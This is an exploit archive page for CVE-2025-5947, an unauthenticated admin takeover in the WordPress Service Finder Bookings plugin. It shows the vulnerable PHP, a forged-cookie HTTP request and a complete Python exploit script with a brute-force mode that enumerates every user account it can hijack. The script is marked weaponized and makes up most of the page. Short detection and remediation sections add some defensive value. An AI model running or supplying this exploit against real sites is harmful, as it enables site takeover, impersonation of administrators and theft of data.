PoC Archive PoC Archive
Critical CVE-2025-5947 unpatched

WordPress Service Finder Bookings ≤ 6.0 Authentication Bypass via `original_user_id` Cookie (CVE-2025-5947)

by xxconi · 2026-07-06

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07
Author / Researcherxxconi
CVE / AdvisoryCVE-2025-5947
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagswordpress, service-finder-bookings, sf-booking, authentication-bypass, cookie-forgery, privilege-escalation, cwe-639
RelatedN/A

Affected Target

FieldValue
Software / SystemWordPress plugin “Service Finder Bookings” (sf-booking)
Versions Affected≤ 6.0
Language / PlatformPHP / WordPress (target); Python 3.6+ (PoC exploit)
Authentication RequiredNo — unauthenticated
Network Access RequiredYes (HTTP/HTTPS access to wp-admin/admin-ajax.php on the target)

Summary

The Service Finder Bookings WordPress plugin implements a “switch back to original user” feature (intended for admin-to-user account switching) via the service_finder_switch_back() AJAX handler, registered under the service_finder_switch_back action. This handler trusts a client-supplied original_user_id cookie and calls wp_set_current_user($user_id) using that value directly, with no verification that the requesting session actually has the right to switch to (or from) that account. Any unauthenticated attacker can send a single request with Cookie: original_user_id=1 and be logged in as user ID 1 (typically the first administrator account), achieving full authentication bypass and, from there, complete site takeover (CWE-639, Authorization Bypass Through User-Controlled Key).


Vulnerability Details

Root Cause

service_finder_switch_back() reads the original_user_id cookie directly from client-controlled input and passes it to wp_set_current_user() without any cryptographic verification (e.g. a signed/nonce-protected token tying the cookie to a legitimate prior admin session):

1
2
3
4
5
6
// Insecure code
if(isset($_COOKIE['original_user_id'])) {
    $user_id = $_COOKIE['original_user_id'];
    wp_set_current_user($user_id);
    // No validation!
}

Since wp_set_current_user() establishes the current WordPress session as the given user ID with no further checks, an attacker can set this cookie to any user ID (most impactfully 1, the default admin) and be authenticated as that user.

Attack Vector

  1. Identify a WordPress site running Service Finder Bookings ≤ 6.0.
  2. Send a GET request to admin-ajax.php with action=service_finder_switch_back and a forged original_user_id cookie set to a target user ID (e.g. 1 for the default administrator):
1
2
3
GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1
Host: target.com
Cookie: original_user_id=1
  1. The plugin sets the current session’s user to the requested ID with no validation.
  2. The response redirects to /wp-admin/ with a valid wordpress_logged_in_* authentication cookie, completing the takeover of that account.

Impact

Unauthenticated attackers can impersonate any WordPress user, including administrators — leading to full admin panel access, arbitrary plugin/theme installation (remote code execution), data exfiltration, and complete site compromise.


Environment / Lab Setup

Target:   WordPress with the Service Finder Bookings plugin (sf-booking) ≤ 6.0 installed and active
Attacker: Python 3.6+ with `requests` (see requirements.txt)

Proof of Concept

PoC Script

See CVE-2025-5947.py in this folder.

1
2
3
4
5
6
7
8
9
pip install -r requirements.txt

python CVE-2025-5947.py -u http://target.com

python CVE-2025-5947.py -u http://target.com -i 5

python CVE-2025-5947.py -u http://target.com -b 1-10

python CVE-2025-5947.py -u https://target.com --no-ssl-verify

The script first probes the target for a WordPress install and the presence of the sf-booking plugin, then sends the service_finder_switch_back AJAX request with a forged original_user_id cookie. Success is determined by a 301/302 redirect to /wp-admin/ combined with a Set-Cookie: wordpress_logged_in_* response header, at which point the attacker holds a valid authenticated session for that user ID. A -b/--brute-force mode iterates a range of user IDs to enumerate every account that can be hijacked this way.


Detection & Indicators of Compromise

Signs of compromise:

  • Access log entries for admin-ajax.php?action=service_finder_switch_back from unauthenticated/anonymous clients
  • Unexpected wordpress_logged_in_* cookies issued in response to requests carrying a client-supplied original_user_id cookie
  • Unexplained administrator logins or new admin accounts/content changes correlating with the above requests

Remediation

ActionDetail
Primary fixUpdate Service Finder Bookings (sf-booking) to a patched version that validates the switch-back request against a legitimate, server-verified prior session (e.g. a signed token) rather than a raw client-supplied cookie
Interim mitigationDeactivate or remove the sf-booking plugin until patched; block /wp-admin/admin-ajax.php?action=service_finder_switch_back at the WAF; audit admin accounts and access logs for signs of exploitation

References


Notes

Mirrored from https://github.com/xxconi/CVE-2025-5947 on 2026-07-06.

CVE-2025-5947.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
import requests
import sys
import argparse
from urllib.parse import urljoin
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# SSL uyarılarını kapat
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class CVE20255947Exploit:
    def __init__(self, target_url, timeout=10, verify_ssl=False):
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.verify_ssl = verify_ssl
        self.session = requests.Session()
        self.session.verify = verify_ssl
    
    def check_vulnerability(self):
        """Hedefi CVE-2025-5947 için kontrol et"""
        try:
            # WordPress kontrolü
            wp_check = self.session.get(
                urljoin(self.target_url, '/wp-admin/'),
                timeout=self.timeout,
                allow_redirects=False
            )
            
            if wp_check.status_code not in [200, 302, 301]:
                print("❌ WordPress kurulumu bulunamadı")
                return False
            
            # Plugin kontrolü
            plugin_check = self.session.get(
                urljoin(self.target_url, '/wp-content/plugins/sf-booking/'),
                timeout=self.timeout
            )
            
            if plugin_check.status_code == 200:
                print("✅ Service Finder Bookings eklentisi bulundu")
                return True
            else:
                print("⚠️ Eklenti bulunamadı, yine de deneyebiliriz...")
                return True
                
        except Exception as e:
            print(f"❌ Kontrol hatası: {e}")
            return False
    
    def exploit(self, user_id=1):
        """CVE-2025-5947 exploit'ini çalıştır"""
        try:
            print(f"\n🔍 Kullanıcı ID {user_id} ile giriş denemesi yapılıyor...")
            
            # Exploit payload
            cookies = {
                'original_user_id': str(user_id)
            }
            
            # AJAX isteği gönder
            response = self.session.get(
                urljoin(self.target_url, '/wp-admin/admin-ajax.php'),
                params={'action': 'service_finder_switch_back'},
                cookies=cookies,
                timeout=self.timeout,
                allow_redirects=False
            )
            
            print(f"📊 HTTP Status: {response.status_code}")
            print(f"📋 Response Headers:")
            for key, value in response.headers.items():
                if key.lower() in ['location', 'set-cookie', 'content-type']:
                    print(f"   {key}: {value[:100]}")
            
            # Başarı kontrolleri
            success_indicators = [
                response.status_code in [301, 302],
                'Location' in response.headers and '/wp-admin/' in response.headers.get('Location', ''),
                'Set-Cookie' in response.headers and 'wordpress_logged_in_' in response.headers.get('Set-Cookie', '')
            ]
            
            if all(success_indicators):
                print(f"\n✅ BAŞARILI! Admin olarak giriş yapıldı!")
                print(f"📍 Yönlendirme: {response.headers.get('Location')}")
                return True
            elif any(success_indicators):
                print(f"\n⚠️ Kısmi başarı - Sistem yanıt verdi")
                return True
            else:
                print(f"\n❌ Exploit başarısız")
                return False
                
        except Exception as e:
            print(f"❌ Exploit hatası: {e}")
            return False
    
    def brute_force_users(self, user_ids=None):
        """Birden fazla kullanıcı ID'si dene"""
        if user_ids is None:
            user_ids = range(1, 11)  # 1-10 arası dene
        
        print(f"\n🔄 Brute Force Başlıyor ({len(list(user_ids))} kullanıcı)...")
        
        successful_users = []
        for user_id in user_ids:
            try:
                cookies = {'original_user_id': str(user_id)}
                response = self.session.get(
                    urljoin(self.target_url, '/wp-admin/admin-ajax.php'),
                    params={'action': 'service_finder_switch_back'},
                    cookies=cookies,
                    timeout=self.timeout,
                    allow_redirects=False
                )
                
                if response.status_code in [301, 302]:
                    print(f"✅ Kullanıcı ID {user_id}: BAŞARILI")
                    successful_users.append(user_id)
                else:
                    print(f"❌ Kullanıcı ID {user_id}: Başarısız")
            except Exception as e:
                print(f"⚠️ Kullanıcı ID {user_id}: Hata - {e}")
        
        return successful_users

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-5947 Service Finder Bookings Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog='''
Örnekler:
  python exploit.py -u http://target.com
  python exploit.py -u http://target.com -i 1
  python exploit.py -u http://target.com -b 1-10
  python exploit.py -u http://target.com --no-ssl-verify
        '''
    )
    
    parser.add_argument('-u', '--url', required=True, help='Hedef URL (örn: http://target.com)')
    parser.add_argument('-i', '--user-id', type=int, default=1, help='Kullanıcı ID (varsayılan: 1)')
    parser.add_argument('-b', '--brute-force', help='Brute force aralığı (örn: 1-10)')
    parser.add_argument('--no-ssl-verify', action='store_true', help='SSL doğrulamasını devre dışı bırak')
    parser.add_argument('-t', '--timeout', type=int, default=10, help='Timeout (varsayılan: 10s)')
    
    args = parser.parse_args()
    
    print("=" * 60)
    print("CVE-2025-5947 Service Finder Bookings Exploit")
    print("Authentication Bypass via Cookie Spoofing")
    print("=" * 60)
    
    # Exploit nesnesini oluştur
    exploit = CVE20255947Exploit(
        args.url,
        timeout=args.timeout,
        verify_ssl=not args.no_ssl_verify
    )
    
    # Hedefi kontrol et
    if not exploit.check_vulnerability():
        sys.exit(1)
    
    # Brute force veya tek kullanıcı
    if args.brute_force:
        try:
            start, end = map(int, args.brute_force.split('-'))
            successful = exploit.brute_force_users(range(start, end + 1))
            if successful:
                print(f"\n✅ Başarılı Kullanıcılar: {successful}")
        except ValueError:
            print("❌ Brute force formatı yanlış (örn: 1-10)")
            sys.exit(1)
    else:
        exploit.exploit(args.user_id)

if __name__ == '__main__':
    main()